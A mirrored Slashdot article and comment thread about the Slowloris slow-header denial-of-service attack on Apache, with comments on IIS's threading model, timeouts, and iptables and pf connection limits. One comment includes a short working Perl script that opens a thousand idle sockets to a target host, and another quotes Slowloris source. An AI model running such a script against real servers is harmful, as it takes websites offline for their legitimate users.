Slashdot Mirror


Attack On a Significant Flaw In Apache Released

Zerimar points out a significant flaw in Apache that can lead to a fairly trivial DoS attack is in the wild. Apache 1.x, 2.x, dhttpd, GoAhead WebServer, and Squid are confirmed vulnerable, while IIS6.0, IIS7.0, and lighttpd are confirmed not vulnerable. As of this writing, Apache Foundation does not have a patch available. From Rsnake's introduction to the attack tool: "In considering the ramifications of a slow denial of service attack against particular services, rather than flooding networks, a concept emerged that would allow a single machine to take down another machine's web server with minimal bandwidth and side effects on unrelated services and ports. The ideal situation for many denial of service attacks is where all other services remain intact but the webserver itself is completely inaccessible. Slowloris was born from this concept, and is therefore relatively very stealthy compared to most flooding tools."

51 of 203 comments (clear)

  1. So slashdot... by santax · · Score: 5, Funny

    be prepared to feel the slashdot-effect yourself for once!

    1. Re:So slashdot... by jamie · · Score: 4, Informative

      We have a hardware load-balancer and a software reverse proxy (varnish) in front of our apache.

      I kinda doubt this would work on us.

      Note, I am not inviting anyone to try. It might work great for all I know :(

  2. Re:Well its not just Apache by The+End+Of+Days · · Score: 3, Informative

    You may have missed the 'not' in the summary there.

  3. What about ... by Anonymous Coward · · Score: 2, Funny

    Opera Unite?

  4. WTH? This is an absolutely trivial attack by Rogerborg · · Score: 3, Insightful

    It's just holding sockets open; that's the "Hello, world!" of DOS attacks.

    I'm finding it hard to believe that Apache is genuinely vulnerable to this. Did nobody see it coming? For real?

    --
    If you were blocking sigs, you wouldn't have to read this.
  5. Why not IIS? by MBCook · · Score: 3, Interesting

    Why isn't IIS vulnerable? Does it just assume the headers are done after some amount of time? Does it have a limit to the number of headers it accepts?

    Can this even be fixed without technically breaking the protocol (since it sounds like what's going on is correct behavior, theoretically)?

    --
    Comment forecast: Bits of genius surrounded by a sea of mediocrity.
    1. Re:Why not IIS? by nicolas.kassis · · Score: 2, Interesting

      What I'm thinking, is this basically another time where those not vulnerable were actually not respecting the spec?

    2. Re:Why not IIS? by Opportunist · · Score: 4, Funny

      If the vulnerability is based on correct, standard conform behaviour of the server, I can see why IIS isn't susceptible to it.

      --
      We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
    3. Re:Why not IIS? by Amouth · · Score: 5, Informative

      unless you are using Session()'s in asp in IIS then one thread in IIS handles multiple connections.

      what this is doing is opening a connection (getting a thread to work it) and holding it open (keeping the thread busy) and just keep asking for new ones.

      it is very common (always i think) for Apache and allot of web servers to have a max thread's so that the site under heavy traffic doesn't open more connections than it can handle.

      where IIS also has a worker thread limit - there is no limit *(you can set one - but not on by default) on how many concurrent connections can be managed by a thread (and new incoming connections are passed to the thread with the lowest current work load - not always the one with less connections)..

      if you do what they are doing here i can see IIS behavior would be to slowly pile all these slow - no work connections into one thread and the others would happily go about doing actual work..

      where apache would slowly lose access to workable threads as this keeps them busy.

      this isn't an exploit on the http or tcp protocol - it is an exploit based on the behavior of the web server based on it's best practices for managing it.

      --
      '...if only "Jumping to a Conclusion" was an event in the Olympics.'
    4. Re:Why not IIS? by Anonymous Coward · · Score: 2, Informative

      More likely IIS survives because it uses a worker pool threading model (no thread/process is dedicated to a connection, so a connection only takes up memory for the state, not for the thread).

      Apache had, and probably still has, a process/thread-per-connection model.

      So with all due respect, it looks like a proper design decision is what is protecting IIS here:
      http://www.kegel.com/c10k.html
      http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/a63ee1c2-04d6-44dc-b4d6-678eb3117bf9.mspx?mfr=true

    5. Re:Why not IIS? by Malc · · Score: 5, Insightful

      Does the HTTP spec say anything about the server application timing out the connection? Seems like reasonable behaviour to me. I would be surprised if this isn't a configurable option in Apache too.

      People love to hate it, but IIS has matured in to a very good web server. It's my choice over Apache.

    6. Re:Why not IIS? by Bemopolis · · Score: 5, Funny

      Why isn't IIS vulnerable

      My guess is that the DoS attack is so slow that, by the time it would have completed, the server has already crashed for a different reason.

      --
      "I guess the moral of the story is, don't paint your airship with rocket fuel." -- Addison Bain
    7. Re:Why not IIS? by raju1kabir · · Score: 3, Informative

      if you have it set to "any avaliable ip" and the box has 2 ip's your client may request data on IPA:80 and get a reply from IPB:port

      If a client sends a SYN to 10.1.1.1:80 and gets an SYN-ACK from 10.5.5.5:80 then the client will not associate the two as being related, and will keep waiting for a response from 10.1.1.1:80 until timing out.

      You would need to have some sort of DNS arrangement that encouraged clients to make their requests to your various IPs. You can't just respond from a different IP than the client contacted.

      --
      "Patriotism is your conviction that this country is superior to all other countries because you were born in it." -- GBS
  6. Boring by Anonymous Coward · · Score: 5, Insightful

    Talk about a boring exploit: no chance for expanding the attack into anything other than a DOS, and if it becomes widespread enough, fairly trivial to fix... (just kill the oldest waiting client that does not have a full header when the last client is taken.) I'd be embarrassed to publish something like this....

    1. Re:Boring by LingNoi · · Score: 2, Interesting

      No, no they wouldn't.

      However like what normally happens whenever some Linux exploit comes out. It's something ridiculously trivial to fix and the windows crowd on slashdot lap it up like it is an "end of the world" scenario. Congratulations on continuing the trend.

  7. iptables helps by samjam · · Score: 4, Informative

    You can have perlbal or any reverse proxy on the same machine but listening on a different port and then use iptables to redirect like this

    # iptables -t nat -A -PREROUTING -d ! 127.0.0.1 -p tcp -m tcp --dport 8080 -j REDIRECT --to-ports 80

    and then you don't need to change your apache configuration - and having apache listen on a different port to what users see can break some scripted sites if they read the port number from the apache config.

  8. Seems to be a general problem. by Z00L00K · · Score: 4, Insightful

    And the only resolution right now that I can see is to have a connection timeout.

    At least the problem is a denial of service problem and not a problem with intrusion so the damage is easily rectified - restart the web server. Not that you really want to restart it.

    And I suspect that other services can be vulnerable to this type of attack too, not only web servers.

    --
    If builders built buildings the way programmers wrote programs, then the first woodpecker would destroy civilization.
    1. Re:Seems to be a general problem. by sjames · · Score: 2, Interesting

      A connection timeout should be fine. Just start the clock upon accept(). Give the client a generous but limited amount of time to send headers. If the timer expires before the empty line is received, close the connection.

      Bonus points for not getting the thread pool involved until the header is complete.

      Extra credit for a config option to send a flood of junk to the client and THEN close the socket. That could make attackers considerably more visible to their upstream provider.

    2. Re:Seems to be a general problem. by sjames · · Score: 2, Interesting

      Nothing like replyoing to yourself.

      Double extra credit if the junk you send back looks enough like downloading music that the RIAA accidentally joins the forces of good and comes down on the attacker due to ISP snooping but not enough like downloaded music to get you actually busted.

  9. Possible work-around by Norsefire · · Score: 3, Interesting
    From the source:

    if ( $delay < 166 ) {
    print <<EOSUCKS2BU;
    Since the timeout ended up being so small ($delay seconds) and it generally
    takes between 200-500 threads for most servers and assuming any latency at
    all... you might have trouble using Slowloris against this target. You can
    tweak the -tcpto flag down to 1 second but it still may not build the sockets
    in time.
    EOSUCKS2BU
    }

    Lower Apache's timeout to below 166 seconds.

    1. Re:Possible work-around by Bootvis · · Score: 5, Funny

      The thing that is really amazing about this hack: Human readable perl!

      --
      Read, refresh, repeat.
    2. Re:Possible work-around by Anonymous Coward · · Score: 2, Funny

      Sex makes people stupid?

  10. OpenBSD's pf has some mitigation features by possible · · Score: 2, Informative

    OpenBSD's pf firewall has some options that can help mitigate the "single attacker, single source IP" version of this attack. Of course if the attackers decide to spread the attack out over multiple source IPs like a DDoS, this becomes much harder to deal with until Apache has a patch.

    Filter rules that create state entries can specify various options to control the behavior of the resulting state entry. The following options are available:

    max number Limit the maximum number of state entries the rule can create to
    number.
    If the maximum is reached, packets that would normally create state
    fail to match this rule until the number of existing states decreases
    below the limit. no state Prevents the rule from automatically creating a state entry. source-track This option enables the tracking of number of states created per
    source IP address.

    The total number of source IP addresses tracked globally can be
    controlled via the

    src-nodes runtime option.

    max-src-nodes number When the source-track option is used,
    max-src-nodes will limit the number of source IP addresses that
    can simultaneously create state.
    This option can only be used with source-track rule. max-src-states number When the source-track option is used,
    max-src-states will limit the number of simultaneous state
    entries that can be created per source IP address.
    The scope of this limit (i.e., states created by this rule only or
    states created by all rules that use source-track) is dependent
    on the source-track option specified.
    1. Re:OpenBSD's pf has some mitigation features by El_Muerte_TDS · · Score: 2, Informative

      Something like:

      iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 60 --hitcount 5 --rttl --name SSH -j DROP

      limits to 5 new connections per 60 seconds

    2. Re:OpenBSD's pf has some mitigation features by raju1kabir · · Score: 3, Interesting

      Many browsers will open more connections than this, resulting in "broken" image links on pages. I've tried all kinds of connection limits to protect against simple DOS attacks, but always have problems with corpororations whose standard desktop configs include IE/Firefox set to open way more connections than would be polite.

      It becomes politically challenging to cause those users to have a problem, especially since they don't see it with other sites. The perception is always that my server has a problem, and it doesn't matter how clearly I explain what's actually happening and how inappropriate it is to have 1000 PCs all set to open 30 connections to each web site they visit.

      --
      "Patriotism is your conviction that this country is superior to all other countries because you were born in it." -- GBS
  11. Re:[Sounds Stupid] by segedunum · · Score: 2, Interesting

    Having read this more this just strikes me as incredibly stupid. Did they publish this? Surely we're just talking about a timeout implementation here where the web server will say "Ahhhh, well you didn't complete that header, bye, bye"?

  12. Re:Well its not just Apache by sys.stdout.write · · Score: 3, Funny

    I'm just waiting for a "Get The Facts" campaign for "IIS vs Apache" on the Microsoft website, along with a completely accurate comparison chart!

  13. Our system may be safe by cjb-nc · · Score: 3, Interesting

    Obviously need to verify this, but we already run mod_cband with a per-IP connection limit of 5. This is in place to stop the over-zealous "download accelerators" from taking all our connections and DOS'ing us. I expect it would stop a single attacker using this attack, but we'd still be vulnerable to a concerted attack by MaxChildren/5 IPs.

    1. Re:Our system may be safe by id · · Score: 2, Informative

      mod_cband has been tested and doesn't have any effect.

  14. Lingering connections handling by moon3 · · Score: 3, Insightful

    If you keep lingerers for more then 160 seconds then no wonder this is possible.

    It should be non-issues on better designed servers that keep an eye on connections anyway. Any single IP spawning lots of unfinished connections gets flagged fast and remembered for the future, so it will get limited access and bandwidth, marked as abuser etc. This is serving 101.

  15. Re:Other Web Servers....Proxies......? by natbudin · · Score: 2, Informative

    I just tried it against nginx 0.6.37. The attack appears to work there as well.

  16. Not a flaw, easily configured around by Anonymous Coward · · Score: 3, Informative

    http://httpd.apache.org/docs/2.2/mod/core.html#timeout

    The issue is that the default configuration waits 5 minutes for the full request, which is painfully to long a period of time. Drop that from 300 to 5, and the "attack" goes away. If you are running the default Apache config in production, you shouldn't be.

    1. Re:Not a flaw, easily configured around by ID000001 · · Score: 3, Informative

      http://httpd.apache.org/docs/2.2/mod/core.html#timeout

      The issue is that the default configuration waits 5 minutes for the full request, which is painfully to long a period of time. Drop that from 300 to 5, and the "attack" goes away. If you are running the default Apache config in production, you shouldn't be.

      seem like a potential fix, can anyone confirm?

    2. Re:Not a flaw, easily configured around by TheLinuxSRC · · Score: 2, Insightful

      From the article:

      "...the server will open the connection and wait for the complete header to be received. However, the client (the DoS tool) will not send it and will instead keep sending bogus header lines which will keep the connection allocated."

      In other words.. the connection is not allowed to "timeout" as there is (bogus) traffic on the connection.

    3. Re:Not a flaw, easily configured around by dlgeek · · Score: 2, Insightful

      The problem with that is it will break nontrivial uploads using POST since they won't complete in 5 seconds. The real solution is to not count threads or connections below a certain utilization threashold towards the capped max and kill them once you hit real starvation.

    4. Re:Not a flaw, easily configured around by Anonymous Coward · · Score: 3, Informative

      Th work-around works fine.

      I downloaded the Slowloris and was able to take down a default apache install, however with keepalive disabled and a timeout of 5, the attack became inneffective.

      This may be a problem for sites with users that do long-running POSTs, but since we don't have any of those, all I can say is "It works here . . . "

      For more info: http://httpd.apache.org/docs/trunk/misc/security_tips.html

  17. HTTP hints at a solution by greed · · Score: 5, Informative

    HTTP 1.1 specifies a status code for "Request Timeout" (408) and "Gateway Timeout" (504).

    What is needed, therefore, is a timer running for receiving the complete header, and a second one for accepting the body. The timer for the body can be controlled by the type of request and the Content-Length header. (With, of course, a specific cap.)

    Currently, Apache 2.2 has a single timeout value for all types of requests, but it is interpreted differently for the different types.

    If your server only handles GETs, the obvious thing is to crank that number down. Unfortunately, for PUTs, the TimeOut value affects inter-packet time in the request, not overall request time.

    Strangely, the timeout doesn't seem to run in 2.2.10 and 2.2.11 before data is received. Oh dear. That's an even simpler DoS.

    #!/usr/bin/env perl

    use IO::Socket::INET;
    use strict;
    use constant DEFAULT_PORT => "http";

    MAIN: {
    if(@ARGV<1 or @ARGV>2) {
    die "Usage: $0 host [port]\n";
    }
    my($host)=shift;
    my($port)=@ARGV?shift:DEFAULT_PORT;

    my(@sockets);

    for(my $cnt=0;$cnt<1000;++$cnt) {
    my $socket=new IO::Socket::INET(PeerAddr=>$host,
    PeerPort=>$port,
    Proto=>"tcp");
    unless(defined($socket)) {
    die "Cannot create socket to $host:$port--$!\n";
    }
    $socket->print("\r\n");
    push(@sockets,$socket);
    print " Have ".@sockets." open.\n";
    }
    }

    Not quite as stealthy, though. At least as above.

    1. Re:HTTP hints at a solution by greed · · Score: 5, Funny

      BTW, is there a self-mod value for "I'm not sure I should have posted that"?

  18. Re:WTH? This is an absolutely trivial attack by Lord+Ender · · Score: 2, Informative

    No, it's not. It's holding an HTTP session open. That is not the same thing as a TCP socket.

    --
    A slashdotter who didn't build his own computer is like a Jedi who didn't build his own lightsaber.
  19. Re:WTH? This is an absolutely trivial attack by dword · · Score: 4, Informative

    Let me make this clearer for those that aren't very technical: It's holding an HTTP session open and Apache has a limited number of simultaneous HTTP sessions.
    All someone has to do is send about 100 requests to your website and leave them open without sending any further information. Nobody else will be able to connect to your web server for a long time. The weekend is coming, so I'm expecting lots of downtime for government sites in the next couple of days...

  20. Attack of a 1000 snails. by leuk_he · · Score: 2, Informative

    This type is already known as "attack by a 1000 snails" type attack. It is harder to defned against than you would think. A user can be slow, but coders are hesitant to drop users that ar too slow or too fast.

    A user kan just keep the TCP/IP alive by sending one byte every x seconds. If this is patched at http header level, you will see you can do the same kind of attack on the application, that can have limited php or perl sessions.

  21. Re:Well its not just Apache by nxtw · · Score: 2, Interesting

    Just tested on www.microsoft.com and I sat there in the header negotiating part for over 3 minutes before the pipe broke on remote end (I didn't do anything.) Slight change in that slowloris makes IIS* vulnerable too.

    Keeping idle sessions open on the server for some period of time is not the flaw. The flaw is that some servers (in default configurations) only handles so many of these idle sessions open before reaching a limit and refusing to accept any new sessions, and that this limit is sufficiently low, and that one client can easily reach this limit.

    This particularly affects web servers that fork separate processes to service multiple requests at the same time - and this includes the default configuration of Apache 2 on many systems. (Last I checked, PHP's Apache module implementation only works well with the forking proces model because of thread safety issues.)

    IIS does not use this antiquated process model - it's threaded. Apache can be configured to use a threaded model too. Unfortunately, thread-unsafe code is still common.

  22. Re:WTH? This is an absolutely trivial attack by suso · · Score: 2, Interesting

    Yes, I agree. I've seen a handful of attacks like this over the years. Maybe not exactly this one, but Apache has been vulnerable to this for years and I thought all webservers were. And I thought people just knew about it already. This one is a tough one to fix, its not like Apache can just patch something. It sounds like an architectural change is needed.

  23. Re:WTH? This is an absolutely trivial attack by Xeriar · · Score: 3, Informative

    A simple connlimit declaration in IPTables shuts this down fairly easily...

  24. Re:WTH? This is an absolutely trivial attack by amicusNYCL · · Score: 3, Informative

    Not really, it just means you need more than one attacker.

    --
    "Our two-party system is like a bowl of shit looking at itself in a mirror." - Lewis Black
  25. Re:WTH? This is an absolutely trivial attack by ToasterMonkey · · Score: 2, Interesting

    A simple connlimit declaration in IPTables shuts this down fairly easily...

    Will that work for anyone using load balancers (read: people with sites worth hitting)?

  26. Link to the specific article by Megane · · Score: 4, Informative

    If you're going to post links to isc.sans.org, can you please post links to the specific article, and not just the main page?

    Here is the link to the specific article: http://isc.sans.org/diary.html?storyid=6601

    --
    #naabhaprzrag, #sverubfr-000, #agi-fcbafberq, negvpyr[pynff*=' negvpyr-ary-'] { qvfcynl: abar !vzcbegnag; }
  27. Re:WTH? This is an absolutely trivial attack by Chris_Jefferson · · Score: 3, Interesting

    No, that won't work. Apache will drop connections which aren't making "useful progress".

    However, it's definition of "useful progress" is flawed -- you can keep sending HTTP headers, and it will keep the connection open. You only have to send one every few seconds, so it's a very low bandwidth DOS attack.

    --
    Combination - fun iPhone puzzling
  28. Queuing and timeout by pdxp · · Score: 2, Informative

    IIS worker processes have a request queue. Whether or not you use asynchronous functions to handle requests, there is a fixed maximum number of threads each worker process will run to process requests. While reading from a socket, the worker thread does block but more threads are not spawned to handle connections. Instead, the worker process puts new requests into a queue until more threads are available.

    I believe this works because there is a timeout associated with the completion of a request. Sure, it might be difficult to distinguish a slow DoS from a slow client, but it wouldn't be impossible to set a reasonable time limit on non-POST requests. That would be a relatively easy way to fix the issue in Apache.

    As far as POST goes... well, that's a different (and valid) way to perform a slow DoS attack:

    Server: What would you like? Ham bacon spam, or spam eggs bacon spam with spam?
    Client: I'm actually here to deliver some SPAM!
    Server: How much SPAM?
    Client: SPAM, SPAM, SPAM.... (3 hours later) ... SPAM SPAM SPAM...

    Slowloris can do this too. By default, IIS only reads the up to first 48KB of post data (I see much smaller numbers in practice), at which point the request is sent to an extension/app. Before this, the request doesn't leave the kernel-mode driver (http.sys). The apps can easily ignore the data or read more (on a timeout). I wouldn't be surprised if Lighttpd did the same thing (sans kernel driver).

  29. Re:Not *such* a big deal by Nicolay77 · · Score: 2, Informative
    --
    We are Turing O-Machines. The Oracle is out there.
  30. Re:Well its not just Apache by DavidTC · · Score: 2, Informative

    You can use fcgid to run PHP in a different process, and then safely run apache multi-threaded. Just FYI for those using PHP.

    It's also a good deal faster, and more stable to boot.

    --
    If corporations are people, aren't stockholders guilty of slavery?